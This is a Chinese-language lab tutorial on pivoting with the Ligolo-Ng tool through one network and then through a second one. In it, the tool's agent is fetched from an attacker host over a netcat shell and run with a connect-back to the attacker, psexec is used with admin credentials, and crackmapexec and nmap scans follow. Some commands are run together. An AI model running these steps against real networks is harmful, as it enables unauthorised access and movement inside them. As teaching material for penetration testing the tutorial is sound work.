Ligolo-Ng 详细指南

admin 2025年3月3日20:45:05评论26 views字数 3139阅读10分27秒阅读模式

本指南全面介绍了利用 Nicolas Chatelain 开发的 Ligolo-Ng 工具进行横向移动的复杂性。Ligolo-Ng 工具使用 tun 接口通过反向 TCP/TLS 连接建立隧道,从而避免了 SOCKS 的必要性。本指南涵盖了各个方面,从该工具的独特功能到实际应用,例如网络内的单枢转和双枢转。

下载 Ligolo-Ng:

Ligolo-Ng 可以从官方存储库下载:Ligolo-Ng Releases

目录:

  1. Ligolo-Ng简介
  2. Ligolo V/S 凿子
  3. 实验室设置
  4. 先决条件
  5. 设置 Ligolo-Ng
  6. 单枢轴
  7. 双枢轴

Ligolo-Ng 概述:

Ligolo-Ng 是一款轻量级且高效的工具,旨在使渗透测试人员能够使用 tun 接口通过反向 TCP/TLS 连接建立隧道。值得注意的功能包括其 GO 编码特性、类似 VPN 的行为、可自定义的代理和 GO 中的代理。该工具支持多种协议,包括 ICMP、UDP、SYN 隐身扫描、操作系统检测和 DNS 解析,提供高达 100 Mbits/秒的连接速度。Ligolo-Ng 通过避免工具残留在磁盘或内存中来最大限度地减少维护时间。

Ligolo V/S 凿子:

  • Ligolo-Ng 在速度和定制选项方面优于 Chisel。
  • Chisel 采用服务器-客户端模型运行,而 Ligolo-Ng 则与每个目标建立单独的连接。
  • Ligolo-Ng 通过避免工具残留在磁盘或内存中来减少维护时间。
  • Ligolo-Ng 支持各种协议,包括 ICMP、UDP、SYN,而 Chisel 主要使用 websocket 在 HTTP 上运行。

实验室设置

按照分步指南进行网络内的横向移动,涵盖单枢轴和双枢轴技术。

Ligolo-Ng 详细指南

先决条件

获取适用于 Windows 64 位的 Ligolo“代理”文件和适用于 Linux 64 位的“代理”文件。

在目标机器上安装“代理”文件,在攻击机器(Kali Linux)上安装“代理”文件。

Ligolo-Ng 详细指南

设置 Ligolo-Ng

步骤 1:获取代理和代理文件后,下一步是设置 Ligolo-Ng。要确定 Ligolo-Ng 配置的当前状态,请使用“ifconfig”命令。要启动激活,请执行以下规定的命令序列:

ip tuntap adduser root mode tun ligoloip link set ligolo up
使用“ifconfig”命令验证 Ligolo-Ng 的激活情况
Ligolo-Ng 详细指南
步骤2:解压Ligolo代理文件:
tar -xvzf ligolo-ng_proxy_0.5.1_linux_amd64.tar.gz
此代理文件有助于通过 Ligolo 建立连接,使我们能够执行后续的枢转操作。要探索代理文件中可用的所有选项,请使用“help”命令
./proxy -h
Ligolo-Ng 详细指南
步骤 3:上图中显示的选项用于将各种类型的证书与代理合并。所选方法涉及使用“-selfcert”选项,该选项在端口 11601 上运行。执行提供的命令,如下图所示:
./proxy -selfcert
Ligolo-Ng 详细指南
步骤 4:通过执行上述命令,Ligolo-Ng 可以在攻击机器上运行。随后,要在目标机器上安装 Ligolo 代理,请使用以下命令解压缩 ligolo 代理文件:
unzip ligolo-ng_agent_0.5.1_windows_amd64.zip
为了方便将此代理文件传输到目标,使用以下命令建立服务器:
updog -p80
Ligolo-Ng 详细指南
步骤 5:在横向移动的背景下,已成功通过 netcat 获取会话。利用已建立的 netcat 连接,下一步是将 Ligolo 代理文件下载到目标系统上。参考下图,执行提供的命令序列:
cd Desktoppowershell wget 192.168.1.5/agent.exe -o agent.exedir
Ligolo-Ng 详细指南
步骤6:显然,代理文件已成功下载。鉴于代理文件目前在Kali上运行,后续操作涉及执行代理文件。
./agent.exe -connect 192.168.1.5:11601 -ignore-cert
Ligolo-Ng 详细指南

执行指定命令后,将启动 Ligolo 会话。随后,使用“session”命令,选择“1”以访问活动会话。会话建立后,执行“ifconfig”命令,如提供的图像所示。

值得注意的是,它揭示了服务器上存在内部网络,IPv4 地址为 192.168.148.130/24。这一发现促使我们在后续步骤中进一步探索如何通过该内部网络创建隧道。

Ligolo-Ng 详细指南

单枢轴

在单枢纽场景中,目标是在网络边界内访问网络 B

Ligolo-Ng 详细指南
尝试直接 ping 网络 B 发现,由于网络配置不同,无法 ping 通,如下图所示。
Ligolo-Ng 详细指南
为了实现单点旋转目标,将打开一个新的终端窗口。随后,将内部 IP 添加到 IP 路由,并使用以下命令确认添加,如下图所示:
ip route add192.168.148.0/24 dev ligoloip route list
Ligolo-Ng 详细指南
返回 Ligolo 代理会话窗口并通过输入“start”命令启动隧道过程,如提供的图像所示。
Ligolo-Ng 详细指南
在建立到网络 B 的隧道后,我们执行 netexec 命令来扫描网络 B 子网,发现了与 DC1 不同的另一个 Windows 10 实体,如图所示。
Ligolo-Ng 详细指南
现在尝试 ping IP 时,将观察到成功的 ping 响应,与之前的失败尝试形成鲜明对比。此外,可以进行全面的 nmap 扫描,如下图所示。
Ligolo-Ng 详细指南

双枢轴

在双枢转过程中,我们的目标是利用网络 B 作为中介,从网络 A 访问网络 C。

Ligolo-Ng 详细指南
从新打开的终端窗口,使用 Impacket 工具访问已识别的 Windows 10,IP 为 192.168.148.132。之后,执行后续命令集将 Ligolo 代理下载到 Windows 10
impacket-psexec administrator:[email protected]cd c:userspublicpowershell wget 192.168.1.5/agent.exe -o agent.exedir
Ligolo-Ng 详细指南
随后,启动 agent.exe 的执行。完成后,将建立一个会话,因为我们的 Ligolo 代理文件已运行。
agent.exe -connect192.168.1.5:11601 -ignore-cert
Ligolo-Ng 详细指南
检查 Ligolo-ng 代理服务器,将出现一个与 Windows 10 对应的新会话,如附图所示。执行“start”命令以启动其他隧道。
Ligolo-Ng 详细指南
执行“session”命令显示会话列表。使用箭头键浏览会话,选择要访问的会话。在本例中,目标是访问最新会话(标识为会话 2)。选择此会话并使用“ifconfig”命令检查接口。此操作会显示一个额外的网络 C接口,地址为192.168.159.130/24,与下图中描述的详细信息一致。
Ligolo-Ng 详细指南
识别新网络后,第一步是尝试 ping。但是,下图显示 Kali 和网络 C 之间没有连接。
Ligolo-Ng 详细指南
使用以下命令将网络 C 子网添加到 IP 路由列表中。
ip route add192.168.159.0/24 dev ligoloip route list
Ligolo-Ng 详细指南
修改 IP 路由后,下一步是添加一个侦听器来遍历网络内部并检索会话。要合并侦听器,请使用以下命令:
listener_add --addr0.0.0.0:1234 --to 127.0.0.1:4444
Ligolo-Ng 详细指南
上图确认了监听器的激活。要启动隧道,请使用帮助命令查看可用选项。显然,在会话 2 中启动该过程之前,必须停止会话 1 中正在进行的隧道。这种循序渐进的方法有助于将数据传输到监听器,监听器随后会检索必要的信息。这种称为双枢转的操作技术涉及使用“ stop ”命令在第一个会话中停止初始隧道。在第二个会话中,按照下图所示的步骤执行“ start ”命令。
Ligolo-Ng 详细指南
执行双重透视成功,并通过使用 crackmapexec 使用以下命令进行验证:
crackmapexec smb 192.168.159.0/24
随后在网络中发现了 Metasploitable2。这使得我们能够利用获得的网络访问权限进行 ping 和 nmap 扫描,如下图所示:
Ligolo-Ng 详细指南
Ligolo-Ng 详细指南

原文始发于微信公众号(三沐数安):Ligolo-Ng 详细指南

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月3日20:45:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Ligolo-Ng 详细指南https://cn-sec.com/archives/3791243.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息